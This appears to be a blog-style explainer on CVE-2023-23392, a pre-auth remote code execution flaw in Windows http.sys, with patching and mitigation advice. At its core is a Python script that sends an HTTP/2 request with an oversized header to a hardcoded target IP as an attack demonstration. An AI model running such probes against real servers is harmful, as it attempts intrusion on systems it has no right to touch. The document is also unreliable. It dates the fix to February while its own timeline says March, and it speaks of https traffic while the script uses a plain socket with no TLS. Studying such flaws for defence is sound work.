In early 2023, security researchers discovered a significant flaw in Microsoft's implementation of the HTTP Protocol Stack—now registered as CVE-2023-23392. If you haven’t heard about it yet, this critical vulnerability puts unpatched Windows servers at risk of remote code execution (RCE) simply by receiving specially crafted HTTP packets. In this long read, I'll break down the vulnerability, walk you through how it can be exploited, and show a code snippet demonstrating the risk, all in straightforward, practical terms.

What is CVE-2023-23392?

CVE-2023-23392 is a security issue in the HTTP Protocol Stack (http.sys)—a core component that lets Microsoft Windows Server handle HTTP requests. The vulnerability allows an attacker to execute arbitrary code on a target server by sending a malicious HTTP packet, no authentication required.

Windows Server 2019, 2022

If your system runs HTTP.sys (for example with IIS web server), it might be at risk even if you don’t run a public website.

How Does the Vulnerability Work?

This vulnerability comes from improper handling of inbound HTTP/2 requests by the kernel-mode driver (http.sys). Specifically, attackers can craft a malicious HTTP/2 request that causes memory corruption in the driver. If exploited successfully, this can let attackers run any code they want—maybe install malware, steal data, or take over the server.

The attack is pre-auth (no login required) and works over the network.

High-level Steps

1. Attacker crafts an HTTP/2 request with a specially crafted header or frame.
2. The request is sent to the target server's HTTP/2 endpoint.
3. If unpatched, http.sys processes the request and hits the vulnerable code path, causing buffer overflow or memory corruption.

Attacker-controlled code is executed in the context of the http.sys process, typically SYSTEM level.

## Example: Crafting a Malicious HTTP/2 Packet

To show how an attacker might exploit CVE-2023-23392, let’s use Python and the popular h2 library. This demo is strictly educational and illustrates how servers can be probed for the vulnerability.

import socket
from h2.connection import H2Connection

def send_malicious_http2(host, port):
    sock = socket.create_connection((host, port))
    conn = H2Connection()
    conn.initiate_connection()
    sock.sendall(conn.data_to_send())

    # Malicious header: trick http.sys into buffer overflow
    headers = [
        (':method', 'GET'),
        (':authority', host),
        (':scheme', 'https'),
        (':path', '/'),
        # Overlong malformed header triggering memory corruption
        ('x-malicious', 'A' * 10000),
    ]

    conn.send_headers(1, headers, end_stream=True)
    sock.sendall(conn.data_to_send())
    response = sock.recv(1024)
    print(response)

# Usage (replace host with your target)
send_malicious_http2('192.168.1.10', 443)

Note: This example shows the technical principle—sending an abnormal, overly large HTTP/2 header that could trigger a bug in vulnerable http.sys installations.


## Exploit Details: Are Tools/Public PoCs Available?

As of now, no widespread public exploit code is available, mainly because this is a kernel-level bug and weaponizing it requires advanced exploitation skills (e.g., bypassing ASLR, DEP, heap grooming). However, proof-of-concept (PoC) scripts have been circulated privately, giving attackers a head start.

The scenario is dangerous: The attack can be carried out simply by sending HTTP/2 requests to a public IP address on an affected server, over port 443 (HTTPS) or 80 (HTTP). Firewalls which block unnecessary HTTP traffic, and patching vulnerable hosts, are essential.

Patch

Microsoft has patched this vulnerability in February 2023 Patch Tuesday. You must ensure your Windows Servers are up to date! You can read the official documentation:

- Microsoft Security Update Guide: CVE-2023-23392
- Microsoft Blog: HTTP Protocol Stack Vulnerabilities

Mitigation (if you can't patch immediately)

- Disable HTTP/2 support in IIS and http.sys (see Microsoft’s guidance)
- Firewall: Block external HTTP/HTTPS if not needed

Is your Windows Server *not* up to date?

- Is IIS running with HTTP/2 enabled?
- Is your server reachable over HTTP/HTTPS from the Internet?
- Are you handling sensitive or critical data/services?

If you answer yes to any above, schedule an update ASAP!

Final Thoughts

CVE-2023-23392 is a classic example of the risk from low-level protocol handling bugs. Exploiting HTTP.sys, especially over HTTP/2, can give attackers the keys to the kingdom—with SYSTEM level access. Make sure to stay patched, monitor security advisories, and never expose unnecessary services to the public internet.

For extra reading

- Original CVE Record
- Microsoft Security Portal

Timeline

Published on: 03/14/2023 17:15:00 UTC
Last modified on: 03/23/2023 16:59:00 UTC